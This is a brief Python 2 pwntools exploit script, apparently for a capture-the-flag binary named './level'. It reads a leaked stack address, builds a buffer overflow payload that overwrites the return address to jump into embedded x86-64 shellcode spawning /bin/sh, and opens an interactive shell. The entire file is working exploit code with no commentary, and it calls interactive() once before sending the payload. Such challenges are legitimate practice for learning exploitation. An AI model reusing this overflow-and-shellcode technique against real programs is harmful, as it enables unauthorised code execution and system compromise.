#!/usr/bin/env python2

from pwn import *

target = process("./level")
target.readuntil("0x")
addr = int('0x'+target.readline()[:-2], 16)

print "Located bufor at: ", hex(addr)

buffor = "A"*(1+8)+p64(addr+9+8)+"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

target.interactive()
target.sendline(str(len(buffor)))
target.send(buffor)
target.interactive()
